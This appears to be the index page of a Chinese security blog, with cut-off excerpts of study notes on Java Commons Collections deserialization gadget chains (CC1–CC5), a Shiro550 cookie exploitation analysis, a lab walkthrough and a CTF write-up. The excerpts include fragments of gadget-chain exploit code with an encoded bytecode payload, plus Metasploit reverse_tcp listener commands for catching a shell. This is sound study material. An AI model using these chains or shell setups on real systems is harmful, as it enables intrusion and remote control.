CC5复习
# 本文知识点:
TiedMapEntry 触发 lazyMap.get () 方法
不再和 CC1 和 CC3 一样借助 AnnotationInvocationHandler 的反序列化触发
BadAttributeValueExpException->TiedMapEntry.toString()
# 正文:
这里引入新类 TiedMapEntry:
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数,显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = ma ...
CC4复习
# 本文知识点:
CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。
只有 cc4 可以用
除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化
# 正文:
测试环境:4.0,jdk7u21 及以前
上面 CC2 说了因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以我们是否可以不使用 InvokerTransformer 呢?于是便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
i ...
CC3复习
# 本文知识点:
引入了 TemplatesImpl 来加载字节码
# 正文:
测试环境:3.1-3.2.1,jdk7u21 及以前
对 CC1 进行了一些修改。引入了 TemplatesImpl 来加载字节码,去掉了 InvokerTransformer ,引入了 InstantiateTransformer。TemplatesImpl、InstantiateTransformer、TrAXFilter 上面 1.6 已经介绍了,这里不再赘述。如何通过 AnnotationInvocationHandler.readObject () 来触发 LazyMap.get () 也与上面的 CC1 一致。
public class CommonsCollections3 {
public static void main(String[] args) {
try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkC ...
CC2复习
# 本文知识点:
只有 cc4.0 可以用
# 正文:
利用条件比较苛刻:首先 CommonsCollections3 中无法使用,因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
这里需要引入两个新的类,首先是 PriorityQueue 部分关键代码如下:
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
private transient Object[] queue; //关键点,可以传入 TemplatesImpl
private final Comparator<? super E> comparator; //关键点可以反射设置我们自己的 ...
CC1复习
# AnnotationInvocationHandler
通过 AnnotationInvocationHandler 类触发 LazyMap 的 get 方法。
简化版 AnnotationInvocationHandler 类的代码:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
//构造函数,可传入 LazyMap
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.membe ...
CC链之复习
# 简介
Apache Commons 是对 JDK 的拓展,包含了很多开源的工具,用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections,封装了 Java 的 Collection 相关类对象。
CC 链 编写的是测试代码,和 ysoserial 中的稍有不同。 下面的是经常用到的 非常重要 的 Transformer 接口的实现类。
# ConstantTransformer
Transformer 接口是实现类,并重写了其接口类的 transform 方法。transform 方法作用是获取一个对象类型,关键代码如下:
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = n ...
Shiro550攻击链分析
Shiro550攻击链分析
# 漏洞利用过程
使用 ysoserial 生成存在恶意命令的反序列化 payload。使用 AES 默认秘钥,生成的 payload 进行 AES/CBC/PKCS5Padding 模式加密,将加密后的结果传入到 HTTP 头部 Cookie 字段的 rememberMe 参数,通过 HTTP 协议发起请求。
注:由于 Shiro 重写了 resolveClass 方法,将原生方法中的 forName 方法替换为 loadClass 方法,由于 loadClass 无法加载数组类型的类,因此存在 Transformer [] 类的 CommonCollections gadget 无法成功利用此漏洞,(例如 ysoserial CommonCollections1、CommonCollections3)
# 代码过程分析
传入的 payload 首先被服务器接收,并传送给 Shiro 拦截器处理
shiro-web (org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter 方法作为入口)
s ...
红日靶场02
1. 首先发现 weblogic 漏洞,直接打开工具一把梭,上传内存马,哥斯拉连接
2. 打开 cs 设置一个监听器,vps 为服务器 ip
3.msf 开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 11111
lport => 11111
msf5 exploit(multi/handler) > run
4. 哥斯拉一键反弹 shell
5. 直接命令派生到 cs
background
use exploit/windows/local/payload_in ...
记录一个人打GDOUCTF2023
记录一个人打GDOUCTF2023
web题目:
hate eat snake
1.先打开题目,查看源代码,发现f12好像用不了,直接右键检查页面
2. 我开始玩了几次,发现手速还是不行,毕竟没单身 19 年,QAQ, 这速度不是人玩的,不过我看到群里真有大佬手玩贪吃蛇 666!!!
我观察了源码,发现 js 改不到,就从 css 下手吧,我改了很多没用的,比如 height,width 等等,发现都不咋行,因为蛇是按比例来改变的,都是 3~4 秒就没了
3. 我仔细观察发现这题是有格子大小,就是 <‘td’>,然后我就复制粘贴了几万个 <‘td’>, 这样贪吃蛇就会一直跑不会撞到墙。
4. 注意,要改食物上面空间部分的 td,要不然还是会撞
最终结果:
ps: 听说大佬们还有很多解题方法
1. 删除 js,等待 60s 就能出了
2. 直接控制台改分数,图片来自大佬
3. 复制网页到本地修改 js
4. 按住空格 60s
5. 按空格跳到其它界面蹦出来 flag
解法真的太多了,我只列出来部分解法
受不了一点
1.打开题目就是一段php ...
My first Blog
这是我的第一篇 Blog’s b&p,记录一下!!!
1. 搭建博客花了我整整 3 天的时间:包括买域名,身份核查等等…
2. 期间遇到的各种问题,实在是让我头疼,我找遍了所有的类似解答,都找不到,最后是重新选了一个 themes。
3. 坚持就是胜利,经过各种问题的轰炸之后,我已经麻了,但看到有了自己的博客之后还是 “甜大于苦”,有了自己的域名,clearlove8.love,欢迎大家来参观!